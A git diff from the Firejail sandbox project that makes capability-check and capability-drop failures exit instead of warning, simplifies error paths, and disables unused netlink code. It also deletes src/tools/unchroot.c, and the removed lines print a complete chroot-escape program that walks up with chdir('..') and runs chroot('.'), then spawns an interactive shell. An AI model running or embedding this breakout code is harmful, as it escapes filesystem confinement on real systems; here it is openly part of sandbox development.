10 files changed, 74 insertions, 244 deletions

diff --git a/src/firejail/caps.c b/src/firejail/caps.c
index ba811cada..6cfa36629 100644
--- a/src/firejail/caps.c
+++ b/src/firejail/caps.c
@@ -181,12 +181,10 @@ static int caps_find_name(const char *name) {
 }
 
 // return 1 if error, 0 if OK
-int caps_check_list(const char *clist, void (*callback)(int)) {
+void caps_check_list(const char *clist, void (*callback)(int)) {
         // don't allow empty lists
-        if (clist == NULL || *clist == '\0') {
-                fprintf(stderr, "Error: empty capabilities lists are not allowed\n");
-                return -1;
-        }
+        if (clist == NULL || *clist == '\0')
+                goto errexit;
 
         // work on a copy of the string
         char *str = strdup(clist);
@@ -201,11 +199,8 @@ int caps_check_list(const char *clist, void (*callback)(int)) {
                 else if (*ptr == ',') {
                         *ptr = '\0';
                         int nr = caps_find_name(start);
-                        if (nr == -1) {
-                                fprintf(stderr, "Error: capability %s not found\n", start);
-                                free(str);
-                                return -1;
-                        }
+                        if (nr == -1)
+                                goto errexit;
                         else if (callback != NULL)
                                 callback(nr);
                                 
@@ -215,17 +210,18 @@ int caps_check_list(const char *clist, void (*callback)(int)) {
         }
         if (*start != '\0') {
                 int nr = caps_find_name(start);
-                if (nr == -1) {
-                        fprintf(stderr, "Error: capability %s not found\n", start);
-                        free(str);      
-                        return -1;
-                }
+                if (nr == -1) 
+                        goto errexit;
                 else if (callback != NULL)
                         callback(nr);
         }
 
         free(str);      
-        return 0;
+        return;
+
+errexit:
+        fprintf(stderr, "Error: capability \"%s\" not found\n", start);
+        exit(1);        
 }
 
 void caps_print(void) {
@@ -256,49 +252,53 @@ void caps_print(void) {
 // enabled by default
 int caps_default_filter(void) {
         // drop capabilities
-        if (prctl(PR_CAPBSET_DROP, CAP_SYS_MODULE, 0, 0, 0) && arg_debug)
-                fprintf(stderr, "Warning: cannot drop CAP_SYS_MODULE");
+        if (prctl(PR_CAPBSET_DROP, CAP_SYS_MODULE, 0, 0, 0))
+                goto errexit;
         else if (arg_debug)
                 printf("Drop CAP_SYS_MODULE\n");
 
-        if (prctl(PR_CAPBSET_DROP, CAP_SYS_RAWIO, 0, 0, 0) && arg_debug)
-                fprintf(stderr, "Warning: cannot drop CAP_SYS_RAWIO");
+        if (prctl(PR_CAPBSET_DROP, CAP_SYS_RAWIO, 0, 0, 0))
+                goto errexit;
         else if (arg_debug)
                 printf("Drop CAP_SYS_RAWIO\n");
 
-        if (prctl(PR_CAPBSET_DROP, CAP_SYS_BOOT, 0, 0, 0) && arg_debug)
-                fprintf(stderr, "Warning: cannot drop CAP_SYS_BOOT");
+        if (prctl(PR_CAPBSET_DROP, CAP_SYS_BOOT, 0, 0, 0))
+                goto errexit;
         else if (arg_debug)
                 printf("Drop CAP_SYS_BOOT\n");
 
-        if (prctl(PR_CAPBSET_DROP, CAP_SYS_NICE, 0, 0, 0) && arg_debug)
-                fprintf(stderr, "Warning: cannot drop CAP_SYS_NICE");
+        if (prctl(PR_CAPBSET_DROP, CAP_SYS_NICE, 0, 0, 0))
+                goto errexit;
         else if (arg_debug)
                 printf("Drop CAP_SYS_NICE\n");
 
-        if (prctl(PR_CAPBSET_DROP, CAP_SYS_TTY_CONFIG, 0, 0, 0) && arg_debug)
-                fprintf(stderr, "Warning: cannot drop CAP_SYS_TTY_CONFIG");
+        if (prctl(PR_CAPBSET_DROP, CAP_SYS_TTY_CONFIG, 0, 0, 0))
+                goto errexit;
         else if (arg_debug)
                 printf("Drop CAP_SYS_TTY_CONFIG\n");
 
 #ifdef CAP_SYSLOG
-        if (prctl(PR_CAPBSET_DROP, CAP_SYSLOG, 0, 0, 0) && arg_debug)
-                fprintf(stderr, "Warning: cannot drop CAP_SYSLOG");
+        if (prctl(PR_CAPBSET_DROP, CAP_SYSLOG, 0, 0, 0))
+                goto errexit;
         else if (arg_debug)
                 printf("Drop CAP_SYSLOG\n");
 #endif
 
-        if (prctl(PR_CAPBSET_DROP, CAP_MKNOD, 0, 0, 0) && arg_debug)
-                fprintf(stderr, "Warning: cannot drop CAP_MKNOD");
+        if (prctl(PR_CAPBSET_DROP, CAP_MKNOD, 0, 0, 0))
+                goto errexit;
         else if (arg_debug)
                 printf("Drop CAP_MKNOD\n");
 
-        if (prctl(PR_CAPBSET_DROP, CAP_SYS_ADMIN, 0, 0, 0) && arg_debug)
-                fprintf(stderr, "Warning: cannot drop CAP_SYS_ADMIN");
+        if (prctl(PR_CAPBSET_DROP, CAP_SYS_ADMIN, 0, 0, 0))
+                goto errexit;
         else if (arg_debug)
                 printf("Drop CAP_SYS_ADMIN\n");
 
         return 0;
+
+errexit:
+        fprintf(stderr, "Error: cannot drop capabilities\n");
+        exit(1);        
 }
 
 void caps_drop_all(void) {
@@ -359,19 +359,14 @@ static uint64_t extract_caps(int pid) {
         EUID_ASSERT();
         
         char *file;
-        if (asprintf(&file, "/proc/%d/status", pid) == -1) {
+        if (asprintf(&file, "/proc/%d/status", pid) == -1)
                 errExit("asprintf");
-                exit(1);
-        }
 
         EUID_ROOT();    // grsecurity
         FILE *fp = fopen(file, "r");
         EUID_USER();    // grsecurity
-        if (!fp) {
-                printf("Error: cannot open %s\n", file);
-                free(file);
-                exit(1);
-        }
+        if (!fp)
+                goto errexit;
         
         char buf[MAXBUF];
         while (fgets(buf, MAXBUF, fp)) {
@@ -385,6 +380,8 @@ static uint64_t extract_caps(int pid) {
                 }
         }
         fclose(fp);
+
+errexit:        
         free(file);
         fprintf(stderr, "Error: cannot read caps configuration\n");
         exit(1);
diff --git a/src/firejail/firejail.h b/src/firejail/firejail.h
index 2e031ce04..4ae3cfd9f 100644
--- a/src/firejail/firejail.h
+++ b/src/firejail/firejail.h
@@ -508,7 +508,7 @@ int caps_default_filter(void);
 void caps_print(void);
 void caps_drop_all(void);
 void caps_set(uint64_t caps);
-int caps_check_list(const char *clist, void (*callback)(int));
+void caps_check_list(const char *clist, void (*callback)(int));
 void caps_drop_list(const char *clist);
 void caps_keep_list(const char *clist);
 void caps_print_filter(pid_t pid);
diff --git a/src/firejail/fs.c b/src/firejail/fs.c
index 5774ebf6a..8c776bad5 100644
--- a/src/firejail/fs.c
+++ b/src/firejail/fs.c
@@ -1042,6 +1042,9 @@ void fs_chroot(const char *rootdir) {
         if (chroot(rootdir) < 0)
                 errExit("chroot");
 
+        // create all other /run/firejail files and directories
+        preproc_build_firejail_dir();
+
         if (checkcfg(CFG_CHROOT_DESKTOP)) {
                 // update /var directory in order to support multiple sandboxes running on the same root directory
 //              if (!arg_private_dev)
diff --git a/src/firejail/main.c b/src/firejail/main.c
index ff7b762cd..111a1d751 100644
--- a/src/firejail/main.c
+++ b/src/firejail/main.c
@@ -1186,8 +1186,7 @@ int main(int argc, char **argv) {
                         if (!arg_caps_list)
                                 errExit("strdup");
                         // verify caps list and exit if problems
-                        if (caps_check_list(arg_caps_list, NULL))
-                                return 1;
+                        caps_check_list(arg_caps_list, NULL);
                 }
                 else if (strncmp(argv[i], "--caps.keep=", 12) == 0) {
                         arg_caps_keep = 1;
@@ -1195,8 +1194,7 @@ int main(int argc, char **argv) {
                         if (!arg_caps_list)
                                 errExit("strdup");
                         // verify caps list and exit if problems
-                        if (caps_check_list(arg_caps_list, NULL))
-                                return 1;
+                        caps_check_list(arg_caps_list, NULL);
                 }
 
 
diff --git a/src/firejail/profile.c b/src/firejail/profile.c
index 688fa9609..abb8bd9b6 100644
--- a/src/firejail/profile.c
+++ b/src/firejail/profile.c
@@ -570,8 +570,7 @@ int profile_check_line(char *ptr, int lineno, const char *fname) {
                 if (!arg_caps_list)
                         errExit("strdup");
                 // verify caps list and exit if problems
-                if (caps_check_list(arg_caps_list, NULL))
-                        exit(1);
+                caps_check_list(arg_caps_list, NULL);
                 return 0;
         }
         
@@ -582,8 +581,7 @@ int profile_check_line(char *ptr, int lineno, const char *fname) {
                 if (!arg_caps_list)
                         errExit("strdup");
                 // verify caps list and exit if problems
-                if (caps_check_list(arg_caps_list, NULL))
-                        exit(1);
+                caps_check_list(arg_caps_list, NULL);
                 return 0;
         }
 
diff --git a/src/lib/common.c b/src/lib/common.c
index 2f2340963..add4ff087 100644
--- a/src/lib/common.c
+++ b/src/lib/common.c
@@ -39,22 +39,23 @@ int join_namespace(pid_t pid, char *type) {
                 errExit("asprintf");
         
         int fd = open(path, O_RDONLY);
-        if (fd < 0) {
-                free(path);
-                fprintf(stderr, "Error: cannot open /proc/%u/ns/%s.\n", pid, type);
-                return -1;
-        }
+        if (fd < 0)
+                goto errout;
 
         if (syscall(__NR_setns, fd, 0) < 0) {
-                free(path);
-                fprintf(stderr, "Error: cannot join namespace %s.\n", type);
                 close(fd);
-                return -1;
+                goto errout;
         }
 
         close(fd);
         free(path);
         return 0;
+
+errout:
+        free(path);
+        fprintf(stderr, "Error: cannot join namespace %s\\n", type);
+        return -1;
+        
 }
 
 // return 1 if error
@@ -187,8 +188,6 @@ char *pid_proc_cmdline(const pid_t pid) {
         for (i = 0; i < len; i++) {
                 if (buffer[i] == '\0')
                         buffer[i] = ' ';
-//              if (buffer[i] >= 0x80) // execv in progress!!!
-//                      return NULL;
         }
 
         // return a malloc copy of the command line
diff --git a/src/lib/libnetlink.c b/src/lib/libnetlink.c
index 836cf417d..417ef2c5f 100644
--- a/src/lib/libnetlink.c
+++ b/src/lib/libnetlink.c
@@ -105,6 +105,7 @@ int rtnl_open(struct rtnl_handle *rth, unsigned subscriptions)
         return rtnl_open_byproto(rth, subscriptions, NETLINK_ROUTE);
 }
 
+#if 0
 int rtnl_wilddump_request(struct rtnl_handle *rth, int family, int type)
 {
         return rtnl_wilddump_req_filter(rth, family, type, RTEXT_FILTER_VF);
@@ -303,6 +304,7 @@ int rtnl_dump_filter(struct rtnl_handle *rth,
 
         return rtnl_dump_filter_l(rth, a);
 }
+#endif
 
 int rtnl_talk(struct rtnl_handle *rtnl, struct nlmsghdr *n, pid_t peer,
               unsigned groups, struct nlmsghdr *answer)
@@ -422,6 +424,7 @@ int rtnl_talk(struct rtnl_handle *rtnl, struct nlmsghdr *n, pid_t peer,
         }
 }
 
+#if 0
 int rtnl_listen(struct rtnl_handle *rtnl,
                 rtnl_filter_t handler,
                 void *jarg)
@@ -580,7 +583,7 @@ int addattrstrz(struct nlmsghdr *n, int maxlen, int type, const char *str)
 {
         return addattr_l(n, maxlen, type, str, strlen(str)+1);
 }
-
+#endif
 
 
 int addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data,
@@ -632,46 +635,8 @@ printf("\tdata length: %d\n", alen);
         return 0;
 }
 
-#if 0
-int addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data,
-              int alen)
-{
-printf("%s: adding type %d, length %d ", __FUNCTION__, type, alen);
-if (type == IFLA_INFO_KIND) {
-if (alen)
-        printf("(IFLA_INFO_KIND %s)\n", (char *)data);  
-else
-printf("(VETH_INFO_PEER)\n");
-}
-else if (type == IFLA_IFNAME) {
-printf("(IFLA_IFNAME %s)\n", (char *) data);
-}
-else if (type == IFLA_NET_NS_PID) {
-printf("(IFLA_NET_NS_PID %u)\n", *((unsigned *) data));
-}
-else if (type == IFLA_LINKINFO)
-printf("(IFLA_LINKINFO)\n");
-else if (type == IFLA_INFO_DATA)
-printf("(IFLA_INFO_DATA)\n");
-else
-        printf("\n");
-
-        int len = RTA_LENGTH(alen);
-        struct rtattr *rta;
-
-        if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) {
-                fprintf(stderr, "addattr_l ERROR: message exceeded bound of %d\n",maxlen);
-                return -1;
-        }
-        rta = NLMSG_TAIL(n);
-        rta->rta_type = type;
-        rta->rta_len = len;
-        memcpy(RTA_DATA(rta), data, alen);
-        n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len);
-        return 0;
-}
-#endif
 
+#if 0
 int addraw_l(struct nlmsghdr *n, int maxlen, const void *data, int len)
 {
         if ((int)(NLMSG_ALIGN(n->nlmsg_len) + NLMSG_ALIGN(len)) > maxlen) {
@@ -802,3 +767,4 @@ int __parse_rtattr_nested_compat(struct rtattr *tb[], int max, struct rtattr *rt
         memset(tb, 0, sizeof(struct rtattr *) * (max + 1));
         return 0;
 }
+#endif
diff --git a/src/lib/pid.c b/src/lib/pid.c
index ed583c51d..42687274e 100644
--- a/src/lib/pid.c
+++ b/src/lib/pid.c
@@ -34,10 +34,9 @@ int max_pids=32769;
 void pid_getmem(unsigned pid, unsigned *rss, unsigned *shared) {
         // open stat file
         char *file;
-        if (asprintf(&file, "/proc/%u/statm", pid) == -1) {
-                perror("asprintf");
-                exit(1);
-        }
+        if (asprintf(&file, "/proc/%u/statm", pid) == -1)
+                errExit("asprintf");
+                
         FILE *fp = fopen(file, "r");
         if (!fp) {
                 free(file);
@@ -59,10 +58,9 @@ void pid_getmem(unsigned pid, unsigned *rss, unsigned *shared) {
 void pid_get_cpu_time(unsigned pid, unsigned *utime, unsigned *stime) {
         // open stat file
         char *file;
-        if (asprintf(&file, "/proc/%u/stat", pid) == -1) {
-                perror("asprintf");
-                exit(1);
-        }
+        if (asprintf(&file, "/proc/%u/stat", pid) == -1)
+                errExit("asprintf");
+
         FILE *fp = fopen(file, "r");
         if (!fp) {
                 free(file);
@@ -93,10 +91,9 @@ myexit:
 unsigned long long pid_get_start_time(unsigned pid) {
         // open stat file
         char *file;
-        if (asprintf(&file, "/proc/%u/stat", pid) == -1) {
-                perror("asprintf");
-                exit(1);
-        }
+        if (asprintf(&file, "/proc/%u/stat", pid) == -1)
+                errExit("asprintf");
+
         FILE *fp = fopen(file, "r");
         if (!fp) {
                 free(file);
@@ -138,10 +135,8 @@ uid_t pid_get_uid(pid_t pid) {
 
         // open status file
         char *file;
-        if (asprintf(&file, "/proc/%u/status", pid) == -1) {
-                perror("asprintf");
-                exit(1);
-        }
+        if (asprintf(&file, "/proc/%u/status", pid) == -1)
+                errExit("asprintf");
 
         FILE *fp = fopen(file, "r");
         if (!fp) {
@@ -316,10 +311,9 @@ void pid_read(pid_t mon_pid) {
                         
                 // open stat file
                 char *file;
-                if (asprintf(&file, "/proc/%u/status", pid) == -1) {
-                        perror("asprintf");
-                        exit(1);
-                }
+                if (asprintf(&file, "/proc/%u/status", pid) == -1)
+                        errExit("asprintf");
+
                 FILE *fp = fopen(file, "r");
                 if (!fp) {
                         free(file);
diff --git a/src/tools/unchroot b/src/tools/unchroot
deleted file mode 100755
index d32ce2682..000000000
--- a/src/tools/unchroot
+++ /dev/null
diff --git a/src/tools/unchroot.c b/src/tools/unchroot.c
deleted file mode 100644
index 21731296e..000000000
--- a/src/tools/unchroot.c
+++ /dev/null
@@ -1,125 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <string.h>
-#include <unistd.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-
-/* 
- ** You should set NEED_FCHDIR to 1 if the chroot() on your
- ** system changes the working directory of the calling
- ** process to the same directory as the process was chroot()ed
- ** to.
- **
- ** It is known that you do not need to set this value if you
- ** running on Solaris 2.7 and below.
- **
- */
-#define NEED_FCHDIR 0
-
-#define TEMP_DIR "waterbuffalo"
-
-/* Break out of a chroot() environment in C */
-
-int main() {
-        int x;                                    /* Used to move up a directory tree */
-        int done=0;                               /* Are we done yet ? */
-#ifdef NEED_FCHDIR
-        int dir_fd;                               /* File descriptor to directory */
-#endif
-        struct stat sbuf;                         /* The stat() buffer */
-
-        /* 
-         ** First we create the temporary directory if it doesn't exist
-         */
-        if (stat(TEMP_DIR,&sbuf)<0) {
-                if (errno==ENOENT) {
-                        if (mkdir(TEMP_DIR,0755)<0) {
-                                fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,
-                                        strerror(errno));
-                                exit(1);
-                        }
-                }
-                else {
-                        fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,
-                                strerror(errno));
-                        exit(1);
-                }
-        }
-        else if (!S_ISDIR(sbuf.st_mode)) {
-                fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);
-                exit(1);
-        }
-
-#ifdef NEED_FCHDIR
-        /* 
-         ** Now we open the current working directory
-         **
-         ** Note: Only required if chroot() changes the calling program's
-         **       working directory to the directory given to chroot().
-         **
-         */
-        if ((dir_fd=open(".",O_RDONLY))<0) {
-                fprintf(stderr,"Failed to open \".\" for reading - %s\n",
-                        strerror(errno));
-                exit(1);
-        }
-#endif
-
-        /* 
-         ** Next we chroot() to the temporary directory
-         */
-        if (chroot(TEMP_DIR)<0) {
-                fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,
-                        strerror(errno));
-                exit(1);
-        }
-
-#ifdef NEED_FCHDIR
-        /* 
-         ** Partially break out of the chroot by doing an fchdir()
-         **
-         ** This only partially breaks out of the chroot() since whilst
-         ** our current working directory is outside of the chroot() jail,
-         ** our root directory is still within it. Thus anything which refers
-         ** to "/" will refer to files under the chroot() point.
-         **
-         ** Note: Only required if chroot() changes the calling program's
-         **       working directory to the directory given to chroot().
-         **
-         */
-        if (fchdir(dir_fd)<0) {
-                fprintf(stderr,"Failed to fchdir - %s\n",
-                        strerror(errno));
-                exit(1);
-        }
-        close(dir_fd);
-#endif
-
-        /* 
-         ** Completely break out of the chroot by recursing up the directory
-         ** tree and doing a chroot to the current working directory (which will
-         ** be the real "/" at that point). We just do a chdir("..") lots of
-         ** times (1024 times for luck :). If we hit the real root directory before
-         ** we have finished the loop below it doesn't matter as .. in the root
-         ** directory is the same as . in the root.
-         **
-         ** We do the final break out by doing a chroot(".") which sets the root
-         ** directory to the current working directory - at this point the real
-         ** root directory.
-         */
-        for(x=0;x<1024;x++) {
-                chdir("..");
-        }
-        chroot(".");
-
-        /* 
-         ** We're finally out - so exec a shell in interactive mode
-         */
-        if (execl("/bin/sh","-i",NULL)<0) {
-                fprintf(stderr,"Failed to exec - %s\n",strerror(errno));
-                exit(1);
-        }
-}